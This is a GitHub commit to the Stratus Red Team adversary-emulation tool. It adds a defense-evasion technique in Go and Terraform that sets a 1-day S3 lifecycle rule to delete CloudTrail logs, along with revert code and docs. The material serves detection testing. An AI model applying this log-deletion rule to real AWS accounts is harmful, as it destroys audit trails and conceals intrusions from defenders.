Skip to content

Commit

Permalink
New technique: CloudTrail logs impairement through lifecycle rule
Browse files Browse the repository at this point in the history
  • Loading branch information
christophetd committed Jan 21, 2022
1 parent 3b64fc4 commit 79e61bb
Show file tree
Hide file tree
Showing 7 changed files with 196 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
---
title: CloudTrail Logs Impairment Through Lifecycle Rule
---

# CloudTrail Logs Impairment Through Lifecycle Rule

Platform: AWS

## MITRE ATT&CK Tactics


- Defense Evasion

## Description


Automatically delete CloudTrail logs after 1 day by setting a Lifecycle Rule on the CloudTrail S3 bucket.

References: https://www.justice.gov/usao-sdny/press-release/file/1452706/download

Warm-up: Creates a CloudTrail trail.

Detonation: Applies a 1-day retention S3 Lifecycle Rule.


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule
```
2 changes: 2 additions & 0 deletions docs/attack-techniques/AWS/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

## Defense Evasion

- [CloudTrail Logs Impairment Through Lifecycle Rule](./aws.defense-evasion.cloudtrail-lifecycle-rule.md)

- [Delete a CloudTrail Trail](./aws.defense-evasion.delete-cloudtrail.md)

- [Stop a CloudTrail Trail](./aws.defense-evasion.stop-cloudtrail.md)
Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Retrieve EC2 Password Data](./AWS/aws.credential-access.ec2-get-password-data.md) | [AWS](./AWS/index.md) | Credential Access |
| [Steal EC2 Instance Credentials](./AWS/aws.credential-access.ec2-instance-credentials.md) | [AWS](./AWS/index.md) | Credential Access |
| [Retrieve a High Number of Secrets Manager secrets](./AWS/aws.credential-access.secretsmanager-retrieve-secrets.md) | [AWS](./AWS/index.md) | Credential Access |
| [CloudTrail Logs Impairment Through Lifecycle Rule](./AWS/aws.defense-evasion.cloudtrail-lifecycle-rule.md) | [AWS](./AWS/index.md) | Defense Evasion |
| [Delete a CloudTrail Trail](./AWS/aws.defense-evasion.delete-cloudtrail.md) | [AWS](./AWS/index.md) | Defense Evasion |
| [Stop a CloudTrail Trail](./AWS/aws.defense-evasion.stop-cloudtrail.md) | [AWS](./AWS/index.md) | Defense Evasion |
| [Attempt to Leave the AWS Organization](./AWS/aws.defense-evasion.leave-organization.md) | [AWS](./AWS/index.md) | Defense Evasion |
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
package aws

import (
"context"
_ "embed"
"errors"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/datadog/stratus-red-team/internal/providers"
"github.com/datadog/stratus-red-team/pkg/stratus"
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack"
"log"
)

//go:embed main.tf
var tf []byte

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.defense-evasion.cloudtrail-lifecycle-rule",
FriendlyName: "CloudTrail Logs Impairment Through Lifecycle Rule",
Platform: stratus.AWS,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.DefenseEvasion},
Description: `
Automatically delete CloudTrail logs after 1 day by setting a Lifecycle Rule on the CloudTrail S3 bucket.
References: https://www.justice.gov/usao-sdny/press-release/file/1452706/download
Warm-up: Creates a CloudTrail trail.
Detonation: Applies a 1-day retention S3 Lifecycle Rule.
`,
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}

func detonate(params map[string]string) error {
s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
bucketName := params["s3_bucket_name"]

log.Println("Setting a short retention policy on CloudTrail S3 bucket " + bucketName)
_, err := s3Client.PutBucketLifecycleConfiguration(context.Background(), &s3.PutBucketLifecycleConfigurationInput{
Bucket: aws.String(bucketName),
LifecycleConfiguration: &types.BucketLifecycleConfiguration{
Rules: []types.LifecycleRule{
{
ID: aws.String("nuke-cloudtrail-logs-after-1-day"),
Status: types.ExpirationStatusEnabled,
Expiration: &types.LifecycleExpiration{Days: 1},
Filter: &types.LifecycleRuleFilterMemberPrefix{
Value: "*",
},
},
},
},
})

if err != nil {
return errors.New("unable to create S3 Lifecycle Policy Rule: " + err.Error())
}
return nil
}

func revert(params map[string]string) error {
s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
bucketName := params["s3_bucket_name"]

log.Println("Reverting S3 Lifecycle Rules on CloudTrail S3 bucket " + bucketName)
_, err := s3Client.DeleteBucketLifecycle(context.Background(), &s3.DeleteBucketLifecycleInput{
Bucket: aws.String(bucketName),
})

if err != nil {
return errors.New("unable to revert S3 Lifecycle Policy Rule: " + err.Error())
}
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 3.71.0"
}
}
}
provider "aws" {
skip_region_validation = true
skip_credentials_validation = true
skip_get_ec2_platforms = true
skip_metadata_api_check = true
default_tags {
tags = {
StratusRedTeam = true
}
}
}

resource "aws_cloudtrail" "trail" {
name = "my-cloudtrail-trail-3"
s3_bucket_name = aws_s3_bucket.cloudtrail.id
}

resource "random_string" "suffix" {
length = 16
min_lower = 16
special = false
}

locals {
bucket-name = "my-cloudtrail-bucket-${random_string.suffix.result}"
}
resource "aws_s3_bucket" "cloudtrail" {
bucket = local.bucket-name
force_destroy = true

policy = <<POLICY
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AWSCloudTrailAclCheck",
"Effect": "Allow",
"Principal": {
"Service": "cloudtrail.amazonaws.com"
},
"Action": "s3:GetBucketAcl",
"Resource": "arn:aws:s3:::${local.bucket-name}"
},
{
"Sid": "AWSCloudTrailWrite",
"Effect": "Allow",
"Principal": {
"Service": "cloudtrail.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::${local.bucket-name}/*",
"Condition": {
"StringEquals": {
"s3:x-amz-acl": "bucket-owner-full-control"
}
}
}
]
}
POLICY
}

output "cloudtrail_trail_name" {
value = aws_cloudtrail.trail.name
}

output "s3_bucket_name" {
value = aws_s3_bucket.cloudtrail.id
}

output "display" {
value = format("CloudTrail trail %s ready, logging to S3 bucket %s", aws_cloudtrail.trail.arn, aws_s3_bucket.cloudtrail.id)
}
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@ Detonation: Deletes the CloudTrail trail.
`,
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}

Expand Down
1 change: 1 addition & 0 deletions internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/credential-access/ec2-get-password-data"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/credential-access/ec2-instance-credentials"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/credential-access/secretsmanager-retrieve-secrets"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/cloudtrail-lifecycle-rule"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/delete-cloudtrail"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/disable-cloudtrail"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/leave-organization"
Expand Down

0 comments on commit 79e61bb

Please sign in to comment.